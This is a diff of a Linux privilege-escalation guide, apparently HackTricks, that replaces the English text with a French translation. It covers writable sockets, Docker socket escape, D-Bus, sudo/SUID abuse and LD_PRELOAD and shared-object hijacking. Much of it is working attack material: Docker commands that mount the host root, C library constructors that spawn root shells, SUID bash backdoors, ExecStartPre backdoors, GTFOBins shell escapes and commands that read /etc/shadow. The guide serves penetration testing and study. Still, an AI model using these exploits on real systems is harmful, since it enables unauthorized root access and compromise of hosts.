**incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction` : Ces options sont différentes mais un résumé est utilisé pour **indiquer où il va écouter** le socket (le chemin du fichier socket AF_UNIX, l'IPv4/6 et/ou le numéro de port à écouter, etc.) +- `Accept` : Prend un argument booléen. Si **vrai**, une **instance de service est créée pour chaque connexion entrante** et seul le socket de connexion lui est passé. Si **faux**, tous les sockets d'écoute eux-mêmes sont **passés à l'unité de service démarrée**, et une seule unité de service est créée pour toutes les connexions. Cette valeur est ignorée pour les sockets datagram et les FIFOs où une seule unité de service gère inconditionnellement tout le trafic entrant. **Par défaut, c'est faux**. Pour des raisons de performance, il est recommandé d'écrire de nouveaux démons uniquement d'une manière qui convient à `Accept=no`. +- `ExecStartPre`, `ExecStartPost` : Prend une ou plusieurs lignes de commande, qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **créés** et liés, respectivement. Le premier token de la ligne de commande doit être un nom de fichier absolu, suivi d'arguments pour le processus. +- `ExecStopPre`, `ExecStopPost` : Commandes supplémentaires qui sont **exécutées avant** ou **après** que les **sockets**/FIFOs d'écoute soient **fermés** et supprimés, respectivement. +- `Service` : Spécifie le nom de l'unité de **service** **à activer** sur le **trafic entrant**. Ce paramètre n'est autorisé que pour les sockets avec Accept=no. Il par défaut au service qui porte le même nom que le socket (avec le suffixe remplacé). Dans la plupart des cas, il ne devrait pas être nécessaire d'utiliser cette option. -### Writable .socket files +### Fichiers .socket écrits -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -&#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Si vous trouvez un fichier `.socket` **écrit**, vous pouvez **ajouter** au début de la section `[Socket]` quelque chose comme : `ExecStartPre=/home/kali/sys/backdoor` et la porte dérobée sera exécutée avant que le socket ne soit créé. Par conséquent, vous devrez **probablement attendre que la machine redémarre.**\ +&#xNAN;_Notez que le système doit utiliser cette configuration de fichier socket ou la porte dérobée ne sera pas exécutée_ -### Writable sockets +### Sockets écrits -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. - -### Enumerate Unix Sockets +Si vous **identifiez un socket écrivable** (_nous parlons maintenant des Unix Sockets et non des fichiers de config `.socket`_), alors **vous pouvez communiquer** avec ce socket et peut-être exploiter une vulnérabilité. +### Énumérer les Unix Sockets ```bash netstat -a -p --unix ``` - -### Raw connection - +### Connexion brute ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -560,93 +473,88 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` - -**Exploitation example:** +**Exemple d'exploitation :** {{#ref}} socket-command-injection.md {{#endref}} -### HTTP sockets - -Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). You can check this with: +### Sockets HTTP +Notez qu'il peut y avoir des **sockets à l'écoute des requêtes HTTP** (_Je ne parle pas des fichiers .socket mais des fichiers agissant comme des sockets unix_). Vous pouvez vérifier cela avec : ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` +Si le socket **répond avec une requête HTTP**, alors vous pouvez **communiquer** avec lui et peut-être **exploiter une vulnérabilité**. -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +### Socket Docker Écrivable -### Writable Docker Socket +Le socket Docker, souvent trouvé à `/var/run/docker.sock`, est un fichier critique qui doit être sécurisé. Par défaut, il est écrivable par l'utilisateur `root` et les membres du groupe `docker`. Posséder un accès en écriture à ce socket peut conduire à une élévation de privilèges. Voici un aperçu de la façon dont cela peut être fait et des méthodes alternatives si le Docker CLI n'est pas disponible. -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. - -#### **Privilege Escalation with Docker CLI** - -If you have write access to the Docker socket, you can escalate privileges using the following commands: +#### **Élévation de Privilèges avec Docker CLI** +Si vous avez un accès en écriture au socket Docker, vous pouvez élever les privilèges en utilisant les commandes suivantes : ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` +Ces commandes vous permettent d'exécuter un conteneur avec un accès au niveau root au système de fichiers de l'hôte. -These commands allow you to run a container with root-level access to the host's file system. +#### **Utilisation directe de l'API Docker** -#### **Using Docker API Directly** +Dans les cas où le CLI Docker n'est pas disponible, le socket Docker peut toujours être manipulé en utilisant l'API Docker et des commandes `curl`. -In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. +1. **Lister les images Docker :** Récupérer la liste des images disponibles. -1. **List Docker Images:** Retrieve the list of available images. +```bash +curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json +``` - ```bash - curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json - ``` +2. **Créer un conteneur :** Envoyer une requête pour créer un conteneur qui monte le répertoire racine du système hôte. -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +```bash +curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create +``` - ```bash - curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create - ``` +Démarrer le conteneur nouvellement créé : - Start the newly created container: +```bash +curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start +``` - ```bash - curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start - ``` +3. **Se connecter au conteneur :** Utiliser `socat` pour établir une connexion au conteneur, permettant l'exécution de commandes à l'intérieur. -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +```bash +socat - UNIX-CONNECT:/var/run/docker.sock +POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 +Host: +Connection: Upgrade +Upgrade: tcp +``` - ```bash - socat - UNIX-CONNECT:/var/run/docker.sock - POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 - Host: - Connection: Upgrade - Upgrade: tcp - ``` +Après avoir configuré la connexion `socat`, vous pouvez exécuter des commandes directement dans le conteneur avec un accès au niveau root au système de fichiers de l'hôte. -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +### Autres -### Others +Notez que si vous avez des permissions d'écriture sur le socket docker parce que vous êtes **dans le groupe `docker`**, vous avez [**plus de moyens d'escalader les privilèges**](interesting-groups-linux-pe/#docker-group). Si l'[**API docker écoute sur un port**, vous pouvez également être en mesure de la compromettre](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). - -Check **more ways to break out from docker or abuse it to escalate privileges** in: +Vérifiez **plus de moyens de sortir de docker ou de l'abuser pour escalader les privilèges** dans : {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Escalade de privilèges Containerd (ctr) -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Si vous constatez que vous pouvez utiliser la commande **`ctr`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges** : {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **Escalade de privilèges RunC** -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Si vous constatez que vous pouvez utiliser la commande **`runc`**, lisez la page suivante car **vous pourriez être en mesure de l'abuser pour escalader les privilèges** : {{#ref}} runc-privilege-escalation.md @@ -654,37 +562,34 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication. +D-Bus est un **système de communication inter-processus (IPC)** sophistiqué qui permet aux applications d'interagir efficacement et de partager des données. Conçu avec le système Linux moderne à l'esprit, il offre un cadre robuste pour différentes formes de communication entre applications. -The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex. +Le système est polyvalent, prenant en charge l'IPC de base qui améliore l'échange de données entre processus, rappelant les **sockets de domaine UNIX améliorés**. De plus, il aide à diffuser des événements ou des signaux, favorisant une intégration transparente entre les composants du système. Par exemple, un signal d'un démon Bluetooth concernant un appel entrant peut inciter un lecteur de musique à se mettre en sourdine, améliorant l'expérience utilisateur. De plus, D-Bus prend en charge un système d'objets distants, simplifiant les demandes de service et les invocations de méthodes entre applications, rationalisant des processus qui étaient traditionnellement complexes. -D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions. +D-Bus fonctionne sur un **modèle d'autorisation/refus**, gérant les permissions de message (appels de méthode, émissions de signaux, etc.) en fonction de l'effet cumulatif des règles de politique correspondantes. Ces politiques spécifient les interactions avec le bus, permettant potentiellement une escalade de privilèges par l'exploitation de ces permissions. -An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`. - -Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies. +Un exemple d'une telle politique dans `/etc/dbus-1/system.d/wpa_supplicant.conf` est fourni, détaillant les permissions pour l'utilisateur root de posséder, d'envoyer et de recevoir des messages de `fi.w1.wpa_supplicant1`. +Les politiques sans utilisateur ou groupe spécifié s'appliquent universellement, tandis que les politiques de contexte "par défaut" s'appliquent à tous ceux qui ne sont pas couverts par d'autres politiques spécifiques. ```xml - - - - + + + + ``` - -**Learn how to enumerate and exploit a D-Bus communication here:** +**Apprenez à énumérer et exploiter une communication D-Bus ici :** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **Network** +## **Réseau** -It's always interesting to enumerate the network and figure out the position of the machine. - -### Generic enumeration +Il est toujours intéressant d'énumérer le réseau et de déterminer la position de la machine. +### Énumération générique ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -707,30 +612,24 @@ cat /etc/networks #Files used by network services lsof -i ``` +### Ports ouverts -### Open ports - -Always check network services running on the machine that you weren't able to interact with before accessing it: - +Vérifiez toujours les services réseau en cours d'exécution sur la machine avec laquelle vous n'avez pas pu interagir avant d'y accéder : ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` - ### Sniffing -Check if you can sniff traffic. If you can, you could be able to grab some credentials. - +Vérifiez si vous pouvez intercepter le trafic. Si vous le pouvez, vous pourriez être en mesure de récupérer des identifiants. ``` timeout 1 tcpdump ``` +## Utilisateurs -## Users - -### Generic Enumeration - -Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:** +### Énumération Générique +Vérifiez **qui** vous êtes, quels **privileges** vous avez, quels **utilisateurs** sont dans les systèmes, lesquels peuvent **se connecter** et lesquels ont des **privileges root :** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -752,15 +651,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` - ### Big UID -Some Linux versions were affected by a bug that allows users with **UID > INT_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +Certaines versions de Linux ont été affectées par un bug qui permet aux utilisateurs avec **UID > INT_MAX** d'escalader les privilèges. Plus d'infos : [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) et [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploitez-le** en utilisant : **`systemd-run -t /bin/bash`** ### Groups -Check if you are a **member of some group** that could grant you root privileges: +Vérifiez si vous êtes **membre d'un groupe** qui pourrait vous accorder des privilèges root : {{#ref}} interesting-groups-linux-pe/ @@ -768,51 +666,44 @@ interesting-groups-linux-pe/ ### Clipboard -Check if anything interesting is located inside the clipboard (if possible) - +Vérifiez si quelque chose d'intéressant se trouve dans le presse-papiers (si possible) ```bash if [ `which xclip 2>/dev/null` ]; then - echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` - echo "Highlighted text: "`xclip -o 2>/dev/null` - elif [ `which xsel 2>/dev/null` ]; then - echo "Clipboard: "`xsel -ob 2>/dev/null` - echo "Highlighted text: "`xsel -o 2>/dev/null` - else echo "Not found xsel and xclip" - fi +echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` +echo "Highlighted text: "`xclip -o 2>/dev/null` +elif [ `which xsel 2>/dev/null` ]; then +echo "Clipboard: "`xsel -ob 2>/dev/null` +echo "Highlighted text: "`xsel -o 2>/dev/null` +else echo "Not found xsel and xclip" +fi ``` - -### Password Policy - +### Politique de mot de passe ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` +### Mots de passe connus -### Known passwords - -If you **know any password** of the environment **try to login as each user** using the password. +Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous connecter en tant que chaque utilisateur** en utilisant le mot de passe. ### Su Brute -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. +Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer le mot de passe des utilisateurs en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer le mot de passe des utilisateurs. -## Writable PATH abuses +## Abus de PATH écrivable ### $PATH -If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. +Si vous constatez que vous pouvez **écrire dans un dossier du $PATH**, vous pourriez être en mesure d'escalader les privilèges en **créant une porte dérobée dans le dossier écrivable** avec le nom d'une commande qui va être exécutée par un autre utilisateur (root idéalement) et qui **n'est pas chargée depuis un dossier situé avant** votre dossier écrivable dans le $PATH. -### SUDO and SUID - -You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: +### SUDO et SUID +Vous pourriez être autorisé à exécuter certaines commandes en utilisant sudo ou elles pourraient avoir le bit suid. Vérifiez-le en utilisant : ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` - -Some **unexpected commands allow you to read and/or write files or even execute a command.** For example: - +Certaines **commandes inattendues vous permettent de lire et/ou d'écrire des fichiers ou même d'exécuter une commande.** Par exemple : ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -821,43 +712,33 @@ sudo tar c a.tar -I ./runme.sh a ftp>!/bin/sh less>! ``` - ### NOPASSWD -Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password. - +La configuration de Sudo peut permettre à un utilisateur d'exécuter certaines commandes avec les privilèges d'un autre utilisateur sans connaître le mot de passe. ``` $ sudo -l User demo may run the following commands on crashlab: - (root) NOPASSWD: /usr/bin/vim +(root) NOPASSWD: /usr/bin/vim ``` - -In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. - +Dans cet exemple, l'utilisateur `demo` peut exécuter `vim` en tant que `root`, il est maintenant trivial d'obtenir un shell en ajoutant une clé ssh dans le répertoire root ou en appelant `sh`. ``` sudo vim -c '!sh' ``` - ### SETENV -This directive allows the user to **set an environment variable** while executing something: - +Cette directive permet à l'utilisateur de **définir une variable d'environnement** lors de l'exécution de quelque chose : ```bash $ sudo -l User waldo may run the following commands on admirer: - (ALL) SETENV: /opt/scripts/admin_tasks.sh +(ALL) SETENV: /opt/scripts/admin_tasks.sh ``` - -This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPATH hijacking** to load an arbitrary python library while executing the script as root: - +Cet exemple, **basé sur la machine HTB Admirer**, était **vulnérable** à **l'escroquerie PYTHONPATH** pour charger une bibliothèque python arbitraire tout en exécutant le script en tant que root : ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` +### Contournement des chemins d'exécution de Sudo -### Sudo execution bypassing paths - -**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ - +**Sauter** pour lire d'autres fichiers ou utiliser des **symlinks**. Par exemple dans le fichier sudoers : _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -867,89 +748,73 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` - -If a **wildcard** is used (\*), it is even easier: - +Si un **wildcard** est utilisé (\*), c'est encore plus facile : ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` +**Contre-mesures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) - -### Sudo command/SUID binary without command path - -If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable +### Commande Sudo/Binaire SUID sans chemin de commande +Si la **permission sudo** est accordée à une seule commande **sans spécifier le chemin** : _hacker10 ALL= (root) less_, vous pouvez l'exploiter en changeant la variable PATH. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` +Cette technique peut également être utilisée si un **suid** binaire **exécute une autre commande sans spécifier le chemin vers celle-ci (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID étrange)**. -This technique can also be used if a **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**. +[Exemples de payloads à exécuter.](payloads-to-execute.md) -[Payload examples to execute.](payloads-to-execute.md) +### Binaire SUID avec chemin de commande -### SUID binary with command path - -If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. - -For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +Si le binaire **suid** **exécute une autre commande en spécifiant le chemin**, alors, vous pouvez essayer d'**exporter une fonction** nommée comme la commande que le fichier suid appelle. +Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, vous devez essayer de créer la fonction et de l'exporter : ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` - -Then, when you call the suid binary, this function will be executed +Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +La variable d'environnement **LD_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. -However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: +Cependant, pour maintenir la sécurité du système et empêcher cette fonctionnalité d'être exploitée, en particulier avec les exécutables **suid/sgid**, le système impose certaines conditions : -- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). -- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. - -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. +- Le chargeur ignore **LD_PRELOAD** pour les exécutables où l'ID utilisateur réel (_ruid_) ne correspond pas à l'ID utilisateur effectif (_euid_). +- Pour les exécutables avec suid/sgid, seules les bibliothèques dans des chemins standard qui sont également suid/sgid sont préchargées. +L'escalade de privilèges peut se produire si vous avez la capacité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut l'instruction **env_keep+=LD_PRELOAD**. Cette configuration permet à la variable d'environnement **LD_PRELOAD** de persister et d'être reconnue même lorsque des commandes sont exécutées avec `sudo`, ce qui peut potentiellement conduire à l'exécution de code arbitraire avec des privilèges élevés. ``` Defaults env_keep += LD_PRELOAD ``` - -Save as **/tmp/pe.c** - +Enregistrez sous **/tmp/pe.c** ```c #include #include #include void _init() { - unsetenv("LD_PRELOAD"); - setgid(0); - setuid(0); - system("/bin/bash"); +unsetenv("LD_PRELOAD"); +setgid(0); +setuid(0); +system("/bin/bash"); } ``` - -Then **compile it** using: - +Puis **compilez-le** en utilisant : ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - -Finally, **escalate privileges** running - +Enfin, **escalader les privilèges** en exécutant ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` - > [!CAUTION] -> A similar privesc can be abused if the attacker controls the **LD_LIBRARY_PATH** env variable because he controls the path where libraries are going to be searched. - +> Une privesc similaire peut être abusée si l'attaquant contrôle la variable d'environnement **LD_LIBRARY_PATH** car il contrôle le chemin où les bibliothèques vont être recherchées. ```c #include #include @@ -957,9 +822,9 @@ sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo static void hijack() __attribute__((constructor)); void hijack() { - unsetenv("LD_LIBRARY_PATH"); - setresuid(0,0,0); - system("/bin/bash -p"); +unsetenv("LD_LIBRARY_PATH"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` @@ -969,19 +834,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` +### Binaire SUID – injection .so -### SUID Binary – .so injection - -When encountering a binary with **SUID** permissions that seems unusual, it's a good practice to verify if it's loading **.so** files properly. This can be checked by running the following command: - +Lorsqu'on rencontre un binaire avec des permissions **SUID** qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` +Par exemple, rencontrer une erreur comme _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Aucun fichier ou répertoire de ce type)"_ suggère un potentiel d'exploitation. -For instance, encountering an error like _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggests a potential for exploitation. - -To exploit this, one would proceed by creating a C file, say _"/path/to/.config/libcalc.c"_, containing the following code: - +Pour exploiter cela, on procéderait en créant un fichier C, disons _"/path/to/.config/libcalc.c"_, contenant le code suivant : ```c #include #include @@ -989,22 +850,18 @@ To exploit this, one would proceed by creating a C file, say _"/path/to/.config/ static void inject() __attribute__((constructor)); void inject(){ - system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); +system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` +Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichiers et en exécutant un shell avec des privilèges élevés. -This code, once compiled and executed, aims to elevate privileges by manipulating file permissions and executing a shell with elevated privileges. - -Compile the above C file into a shared object (.so) file with: - +Compilez le fichier C ci-dessus en un fichier d'objet partagé (.so) avec : ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` +Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant un éventuel compromis du système. -Finally, running the affected SUID binary should trigger the exploit, allowing for potential system compromise. - -## Shared Object Hijacking - +## Détournement d'objet partagé ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -1014,9 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` - -Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name: - +Maintenant que nous avons trouvé un binaire SUID chargeant une bibliothèque depuis un dossier où nous pouvons écrire, créons la bibliothèque dans ce dossier avec le nom nécessaire : ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -1025,24 +880,21 @@ Now that we have found a SUID binary loading a library from a folder where we ca static void hijack() __attribute__((constructor)); void hijack() { - setresuid(0,0,0); - system("/bin/bash -p"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` - -If you get an error such as - +Si vous obtenez une erreur telle que ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` - -that means that the library you have generated need to have a function called `a_function_name`. +cela signifie que la bibliothèque que vous avez générée doit avoir une fonction appelée `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command. +[**GTFOBins**](https://gtfobins.github.io) est une liste soigneusement sélectionnée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous pouvez **uniquement injecter des arguments** dans une commande. -The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. +Le projet collecte des fonctions légitimes de binaires Unix qui peuvent être abusées pour sortir de shells restreints, élever ou maintenir des privilèges élevés, transférer des fichiers, créer des shells bind et reverse, et faciliter d'autres tâches de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1055,96 +907,79 @@ The project collects legitimate functions of Unix binaries that can be abused to ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +Si vous pouvez accéder à `sudo -l`, vous pouvez utiliser l'outil [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) pour vérifier s'il trouve comment exploiter une règle sudo. -### Reusing Sudo Tokens +### Réutilisation des jetons Sudo -In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. +Dans les cas où vous avez **un accès sudo** mais pas le mot de passe, vous pouvez élever les privilèges en **attendant l'exécution d'une commande sudo puis en détournant le jeton de session**. -Requirements to escalate privileges: +Conditions pour élever les privilèges : -- You already have a shell as user "_sampleuser_" -- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is accessible (you can be able to upload it) +- Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_" +- "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose dans les **15 dernières minutes** (par défaut, c'est la durée du jeton sudo qui nous permet d'utiliser `sudo` sans introduire de mot de passe) +- `cat /proc/sys/kernel/yama/ptrace_scope` est 0 +- `gdb` est accessible (vous pouvez être en mesure de le télécharger) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou le modifier de manière permanente en modifiant `/etc/sysctl.d/10-ptrace.conf` et en définissant `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** 